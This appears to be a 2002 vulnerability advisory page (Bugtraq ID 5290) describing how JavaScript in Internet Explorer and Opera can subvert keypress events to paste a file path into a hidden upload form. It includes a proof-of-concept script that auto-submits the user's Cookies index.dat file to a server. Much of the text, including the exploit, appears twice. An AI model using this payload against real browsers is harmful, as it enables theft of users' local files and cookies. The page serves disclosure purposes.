Multiple Vendor Web Browser JavaScript Modifier Keypress Event Subversion Vulnerability
BID:5290
Info
Multiple Vendor Web Browser JavaScript Modifier Keypress Event Subversion Vulnerability
| Bugtraq ID: | 5290 |
| Class: | Design Error |
| CVE: |
CVE-2002-2311 CVE-2002-2312 CVE-2002-2311 CVE-2002-2312 CVE-2002-2311 CVE-2002-2312 CVE-2002-2311 CVE-2002-2312 CVE-2002-2311 CVE-2002-2312 CVE-2002-2311 CVE-2002-2312 CVE-2002-2311 CVE-2002-2312 CVE-2002-2311 CVE-2002-2312 CVE-2002-2311 CVE-2002-2312 CVE-2002-2311 CVE-2002-2312 CVE-2002-2311 CVE-2002-2312 |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 23 2002 12:00AM |
| Updated: | Jan 25 2014 06:14AM |
| Credit: | Discovered by Andreas Sandblad <[email protected]>. |
| Vulnerable: |
Opera Software Opera Web Browser 6.0.1 win32 Opera Software Opera Web Browser 6.0.1 linux Opera Software Opera Web Browser 6.0.1 Microsoft Internet Explorer 5.0.1 SP2 Microsoft Internet Explorer 5.0.1 SP1 Microsoft Internet Explorer 5.0.1 Microsoft Internet Explorer 6.0 Microsoft Internet Explorer 6.0 Microsoft Internet Explorer 5.5 SP2 Microsoft Internet Explorer 5.5 SP1 Microsoft Internet Explorer 5.5 preview Microsoft Internet Explorer 5.5 Microsoft Internet Explorer 5.0 |
| Not Vulnerable: | |
Discussion
Multiple Vendor Web Browser JavaScript Modifier Keypress Event Subversion Vulnerability
An issue has been reported with the JavaScript implementation of multiple web browsers, including Microsoft Internet Explorer and Opera. Malicious JavaScript may subvert some keypress events, with consequences including the disclosure of arbitrary local files to a remote server.
Through JavaScript, it is possible to define an event handler for the 'onkeydown' event, which fires when a key is pressed by the end user. Malicious script code may subvert this event to an arbitrary Ctrl-key combination, including events such as Paste. By further modifying the environment, it is possible to paste arbitrary content into a file upload form field.
This form may also be submitted by the malicious script, disclosing arbitrary local file contents to a remote server.
Other attacks based on script interaction with the cut and paste functionality of Windows may also be possible.
An issue has been reported with the JavaScript implementation of multiple web browsers, including Microsoft Internet Explorer and Opera. Malicious JavaScript may subvert some keypress events, with consequences including the disclosure of arbitrary local files to a remote server.
Through JavaScript, it is possible to define an event handler for the 'onkeydown' event, which fires when a key is pressed by the end user. Malicious script code may subvert this event to an arbitrary Ctrl-key combination, including events such as Paste. By further modifying the environment, it is possible to paste arbitrary content into a file upload form field.
This form may also be submitted by the malicious script, disclosing arbitrary local file contents to a remote server.
Other attacks based on script interaction with the cut and paste functionality of Windows may also be possible.
Exploit / POC
Multiple Vendor Web Browser JavaScript Modifier Keypress Event Subversion Vulnerability
Exploit code has been contributed by Andreas Sandblad <[email protected]>:
<div id=h style="zoom:0.0001">
<form name=u enctype="multipart/form-data" method=post action=upload.php>
<input type=file name=file></form></div>
<script>
//uploadFile="..\\LOCALS~1\\TEMPOR~1\\CONTENT.IE5\\index.dat";
uploadFile="..\\Cookies\\index.dat";
function gotKey(){
if (event.ctrlKey)
event.keyCode = 86;
else if (event.shiftKey)
event.keyCode = 45;
else
return;
document.onkeydown = null;
window.clipboardData.setData("Text",uploadFile);
(p=document.forms.u.file).focus();
p.onpropertychange = function(){document.forms.u.submit()};
} document.onkeydown = gotKey;
window.onload=function(){document.body.focus()};
</script>
Exploit code has been contributed by Andreas Sandblad <[email protected]>:
<div id=h style="zoom:0.0001">
<form name=u enctype="multipart/form-data" method=post action=upload.php>
<input type=file name=file></form></div>
<script>
//uploadFile="..\\LOCALS~1\\TEMPOR~1\\CONTENT.IE5\\index.dat";
uploadFile="..\\Cookies\\index.dat";
function gotKey(){
if (event.ctrlKey)
event.keyCode = 86;
else if (event.shiftKey)
event.keyCode = 45;
else
return;
document.onkeydown = null;
window.clipboardData.setData("Text",uploadFile);
(p=document.forms.u.file).focus();
p.onpropertychange = function(){document.forms.u.submit()};
} document.onkeydown = gotKey;
window.onload=function(){document.body.focus()};
</script>
Solution / Fix
Multiple Vendor Web Browser JavaScript Modifier Keypress Event Subversion Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Multiple Vendor Web Browser JavaScript Modifier Keypress Event Subversion Vulnerability
References:
References: